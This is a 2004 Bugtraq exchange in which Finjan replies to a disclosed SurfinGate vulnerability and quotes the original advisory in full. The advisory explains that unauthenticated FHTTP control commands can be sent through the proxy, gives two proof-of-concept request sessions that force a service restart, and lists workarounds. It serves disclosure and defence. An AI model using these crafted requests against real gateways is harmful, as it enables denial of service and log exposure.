RE: Finjan SurfinGate Vulnerability

From: Menashe Eliezer (menashe_at_finjan.com)
Date: 01/27/04

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    Date: Tue, 27 Jan 2004 01:42:41 +0200
    To: <bugtraq@securityfocus.com>
    
    

    Finjan Response to David Byrne's
    "Finjan SurfinGate Vulnerability"
    Dated January 23, 2004

    David Byrne contacted Finjan Software a year ago, and based on his
    comments we issued a detailed alert to our customers. We explained that
    the control port is NOT used to change security policies within our
    software. David's suggested vulnerability is limited to a DoS attack,
    and it can be easily eliminated by a small change in the system
    configuration.

    David's most recent comment is:

    "Inside the SurfinGate policy, add URL rules to block all access to any
    hostname or IP address that would connect to the FHTTP port. This can be
    a long list;
    localhost, 127.0.0.1, the hostname, loghost for Solaris machines, the IP
    address SurfinGate binds to, any DNS entries, etc."

    Once again, this suggested vulnerability is easily addressed. The
    solution is to simply block any connection to "*:ControlPort" (3141 is
    the default).

    Finjan welcomes expert input and suggestions. Please feel free to
    contact us at support@finjan.com.

    --
    Regards,
    Menashe Eliezer
    Manager, Malicious Code Research Center
    Finjan Software
    http://www.finjan.com/mcrc
    Prevention is the best cure!
    -----Original Message-----
    From: David Byrne [mailto:davidribyrne@yahoo.com] 
    Sent: Friday, January 23, 2004 5:04 AM
    To: bugtraq@securityfocus.com
    Subject: Finjan SurfinGate Vulnerability
    VENDOR:       Finjan (www.finjan.com)
    PRODUCT:      SurfinGate (recently renamed "Vital Security")
    VERSIONS:     All releases of versions 6 & 7 as of 1/22/2004. 
                  Older versions have not been tested.
    NOTIFICATION: The vendor has known of the problem over a year
    DESCRIPTION ==========================================================
    Finjan SurfinGate provides malicious code scanning for web traffic. It
    focuses on behavior-based filtering of active content (e.g. ActiveX,
    Java, scripting), but also integrates a McAfee virus scanner. 
    PROBLEM ==========================================================
    When running in proxy mode, properly crafted requests sent to Finjan
    SurfinGate can mimic control commands. Known vulnerabilities include
    viewing log data and causing the service to restart, potentially
    resulting in a DoS situation. The application's architecture suggests
    there is a potential for modifying the filtering policy as well.
    DETAILS ==========================================================
    SurfinGate scanning servers receive commands by listening on a control
    port (TCP/3141 by default) for an HTTP-based protocol called "FHTTP".
    Normally the FHTTP commands come from a management console or policy
    database server, but commands are not authenticated and can come from
    any source, including the local HTTP proxy. This allows any user to
    issue server commands via the proxy server. 
    The "finjan-parameter-type" parameter is the actual command. Known
    commands include "restart" to restart the service, "getlastmsg" to view
    log information and "online" to force a policy update from the database
    server. Running "strings" on the server binary ("bin/FinjanServer")
    reveals other possible targets.
    EXPLOITS ==========================================================
    Below are two examples of sessions with the proxy server that issue a
    restart command.
         Example 1:
              >>> CONNECT LOCALHOST:3141 HTTP/1.0
              >>>
              <<< HTTP/1.0 200 Connection established
              <<< Proxy-agent: Finjan-SurfinGate/6.0
              <<<
              >>> FINJAN /stam HTTP/1.0
              >>> finjan-version: fhttp/1.0
              >>> finjan-command: custom
              >>> finjan-parameter-category: console
              >>> finjan-parameter-type: restart
              >>> content-length: 0
              >>>
              <<< HTTP/1.0 200 OK
              <<< finjan-version: fhttp/1.0
              <<<
              <<<
         Example 2:
              >>> FINJAN localhost:3141/stam HTTP/1.0
              >>> finjan-version: fhttp/1.0
              >>> finjan-command: custom
              >>> finjan-parameter-category: console
              >>> finjan-parameter-type: restart
              >>> content-length: 0
              >>>
              <<< HTTP/1.0 200 OK
              <<< finjan-version: fhttp/1.0
              <<<
              <<<
    WORKAROUNDS ==========================================================
    Firewall filtering will is not adequate since the commands come over the
    same port that services legitimate HTTP requests. These are possible
    workarounds that have been successfully tested.
    * Use a proxy server between the user and SurfinGate server to block
    CONNECT commands to ports other than 443 AND block non-standard HTTP
    commands (i.e. "FINJAN").
    * Inside the SurfinGate policy, add URL rules to block all access to any
    hostname or IP address that would connect to the FHTTP port. This can be
    a long list; localhost, 127.0.0.1, the hostname, loghost for Solaris
    machines, the IP address SurfinGate binds to, any DNS entries, etc.
    * Change the control port to something besides 3141. This is pretty
    weak, but better than nothing.
    NOTES ==========================================================
    Just to reiterate, the ability to change the policy has not been
    confirmed, but seems likely. The SurfinGate database server and
    SurfinShield (a desktop product) database server also use FHTTP for
    management commands, so that is a likely source for more vulnerabilities
    to explore. Because the SurfinGate scanning/proxy server has to
    communicate with the database server using FHTTP, there is guaranteed
    access to the database via the proxy if the hostname or IP address is
    known. The workarounds listed above should also work for restricting
    access to the database server, but have not been tested.
    ************************************************************************************
    Finjan Software
    This e-mail and any attached files are confidential and may be legally
    privileged. The unauthorized use, disclosure or copying of this email or
    any information contained within it is strictly prohibited. This also
    confirms that Finjan Software's SurfinGate for E-Mail has scanned this
    message for the presence of known viruses and potentially malicious
    code.
    Finjan Software - Prevention is the Best Cure!
    ************************************************************************************
    

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